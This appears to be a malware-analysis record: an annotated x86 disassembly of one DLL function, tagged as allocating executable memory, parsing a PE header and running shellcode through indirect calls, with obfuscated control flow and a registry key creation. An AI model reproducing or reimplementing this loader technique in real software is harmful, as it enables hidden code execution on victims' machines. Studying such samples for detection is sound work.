Function at 0x10001310
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov edx, dword [ebp + 0x14]
lea eax, [edx - 0xe]
mov dword [ebp - 0x40], eax
cmp edx, eax
jbe 0x10001721
push ebx
mov ebx, dword [sym.imp.dbghelp.dll_SymCleanup]
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [sym.imp.dbghelp.dll_SymGetTypeInfo]
nop dword [eax]
lea eax, [edx - 0x49]
cmp eax, 0x2b
ja case.0x10001353.75
movzx eax, byte [eax + 0x10001760]
jmp dword [eax*4 + 0x10001728]
mov eax, dword [ebp - 0x14]
push dword [eax]
call fcn.1000ab94
mov edx, dword [ebp + 0x14]
add esp, 4
jmp case.0x10001353.75
push dword [ebp - 0x14]
call fcn.1000ab94
mov edx, dword [ebp + 0x14]
add esp, 4
jmp case.0x10001353.75
mov eax, dword [ebp + 0x10]
xor ecx, ecx
mov dword [ebp - 0x1c], ecx
mov dword [eax], ecx
mov word [eax + 4], cx
jmp case.0x10001353.75
mov eax, dword [ebp + 8]
mov ebx, dword [ebp - 8]
cmp ebx, dword [eax]
jae case.0x10001353.75
mov edi, dword [ebp - 0x10]
mov ecx, dword [ebp + 0x18]
mov eax, edi
sub eax, esi
cmp dword [ecx], eax
jne 0x100013c3
mov eax, dword [ecx + 4]
test eax, eax
cmovne ecx, eax
mov eax, 4
mov dword [ebp + 0x18], ecx
jmp 0x10001426
xor edx, edx
mov ecx, dword [ebp - 0x14]
mov eax, ebx
mov edi, dword [ebp + 0x10]
div dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov bl, byte [edi + ebx]
movzx eax, byte [edx + eax]
mov edx, dword [ecx + eax*4]
mov eax, dword [ebp + 0x1c]
cmp byte [eax], 0
je 0x100013f6
movzx eax, bl
mov ebx, dword [ebp - 8]
mov al, byte [eax + edx]
mov edx, dword [ebp + 0x14]
mov byte [edi + ebx], al
jmp 0x1000141e
xor ecx, ecx
movzx eax, cx
cmp bl, byte [eax + edx]
je 0x10001410
inc ecx
mov eax, 0x100
cmp cx, ax
jb 0x100013f8
mov ebx, dword [ebp - 8]
jmp 0x10001416
mov ebx, dword [ebp - 8]
mov byte [edi + ebx], cl
mov edx, 0x71
mov dword [ebp + 0x14], edx
mov edi, dword [ebp - 0x10]
mov eax, 1
add ebx, eax
mov ecx, eax
mov eax, dword [ebp + 8]
add edi, ecx
mov dword [ebp - 0x10], edi
mov dword [ebp - 8], ebx
cmp ebx, dword [eax]
jb 0x100013a6
mov dword [ebp - 0x10], edi
mov edi, dword [sym.imp.dbghelp.dll_SymGetTypeInfo]
mov dword [ebp - 8], ebx
jmp case.0x10001353.75
xor ebx, ebx
mov ecx, 0xb5
mov dword [ebp - 0x20], ecx
nop dword [eax + eax]
mov eax, ecx
sub eax, 0xb5
je 0x10001474
sub eax, 1
je 0x10001503
jmp 0x100014d7
xor edi, edi
cmp dword [ebp - 0xc], edi
jbe 0x100014d7
mov ecx, dword [ebp - 0xc]
nop
test ebx, ebx
jne 0x1000149b
mov esi, dword [ebp + 0xc]
add esi, edi
movsx eax, byte [esi]
push eax
call fcn.1000d40c
add esp, 4
test eax, eax
jne 0x100014b5
jmp 0x100014c9
cmp ebx, 1
jne 0x100014cc
mov esi, dword [ebp + 0xc]
add esi, edi
movsx eax, byte [esi]
push eax
call fcn.1000d40c
add esp, 4
test eax, eax
jne 0x100014c9
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp + 0x10]
mov al, byte [esi]
mov byte [ecx + edx], al
inc ecx
mov dword [ebp - 0x1c], ecx
cmp ecx, 5
je 0x100014fe
mov ecx, dword [ebp - 0xc]
inc edi
cmp edi, ecx
jb 0x10001480
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp + 0x14]
inc ecx
mov dword [ebp - 0x20], ecx
cmp ecx, 0xb7
jb 0x10001460
cmp ebx, 2
jb 0x10001450
mov esi, dword [ebp + 0xc]
mov edi, dword [sym.imp.dbghelp.dll_SymGetTypeInfo]
jmp case.0x10001353.75
mov ebx, 2
mov edx, 0x64
mov ecx, 0xb6
mov dword [ebp + 0x14], edx
inc ebx
jmp 0x100014d7
movzx eax, byte [ebp - 1]
xor ecx, ecx
cmp dword [ebp - 0x3c], ecx
cmovne ecx, eax
mov byte [ebp - 1], cl
test cl, cl
je 0x10001576
mov esi, 0xa4
nop dword [eax + eax]
mov eax, esi
sub eax, 0xa2
je 0x10001568
sub eax, 1
je 0x10001553
sub eax, 1
jne 0x1000156d
xorps xmm0, xmm0
mov dword [ebp - 0x34], eax
movlpd qword [ebp - 0x4c], xmm0
mov dword [ebp - 0x30], eax
jmp 0x1000156d
push dword [ebp - 0x30]
push 3
push dword [ebp - 0x34]
push dword [ebp - 0x48]
push dword [ebp - 0x4c]
push dword [ebp - 0x28]
call edi
jmp 0x1000156d
push dword [ebp - 0x28]
call ebx
dec esi
cmp esi, 0xa1
ja 0x10001530
lea eax, [ebp - 0x44]
push eax
push dword [ebp + 0xc]
mov eax, dword [ebp + 0x10]
push 0
push 0xf003f
push 0
push 0
push 0
push dword [ebp + 8]
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov esi, dword [ebp + 0xc]
test eax, eax
mov edx, dword [ebp + 0x14]
sete byte [ebp - 0x2c]
jmp case.0x10001353.75
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x10], eax
mov dword [ebp - 8], 0
jmp case.0x10001353.75
mov ecx, dword [ebp + 0xc]
xor edi, edi
test ecx, ecx
je 0x10001654
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x10001654
mov eax, dword [ecx + 0x3c]
cmp dword [eax + ecx], 0x4550
jne 0x10001654
push 0x40
push 0x1000
push dword [eax + ecx + 0x50]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
test ebx, ebx
je 0x10001651
mov esi, 0x8e
nop
cmp esi, 0x8e
jne 0x10001643
push 0
push 0
push 0xed
call fcn.10007d30
mov edi, eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
push eax
push dword [ebp + 8]
push edi
push dword [ebp + 0x10]
push 0x36
call fcn.10004150
add esp, 0x20
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor ebx, ebx
add esi, 0x2cee
cmp esi, 0x2cee
jbe 0x10001600
mov edx, dword [ebp + 0x14]
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0x2c], edi
mov edi, dword [sym.imp.dbghelp.dll_SymGetTypeInfo]
jmp case.0x10001353.75
lea eax, [ebp - 0x18]
mov dword [ebp - 0x20], 0x20
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x24]
push eax
push 0x40
push dword [ebp + 0x20]
call int.10008f90
xor edx, edx
mov eax, 8
div dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
push 0
movzx eax, byte [edx + eax]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x38]
push eax
push 0
push 0x64
push 0
call fcn.10006150
mov edx, dword [ebp + 0x14]
add esp, 0x28
mov dword [ebp - 0x14], eax
jmp case.0x10001353.75
push dword [ebp + 0xc]
mov byte [ebp - 1], 1
push 0xe0
call fcn.10001a70
add esp, 8
mov dword [ebp - 0x28], 0xffffffff
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.dbghelp.dll_SymInitialize]
mov esi, dword [ebp + 0xc]
mov edx, dword [ebp + 0x14]
mov dword [ebp - 0x3c], eax
jmp case.0x10001353.75
mov edx, dword [ebp + 0xc]
lea ecx, [edx + 1]
nop word [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x100016f0
mov esi, dword [ebp + 0xc]
sub edx, ecx
mov dword [ebp - 0xc], edx
mov edx, dword [ebp + 0x14]
jmp case.0x10001353.75
mov dword [ebp - 0x18], 0
mov ebx, dword [sym.imp.dbghelp.dll_SymCleanup]
dec edx
mov dword [ebp + 0x14], edx
cmp edx, dword [ebp - 0x40]
ja 0x10001340
pop edi
pop esi
pop ebx
mov eax, dword [ebp - 0x2c]
mov esp, ebp
pop ebp
ret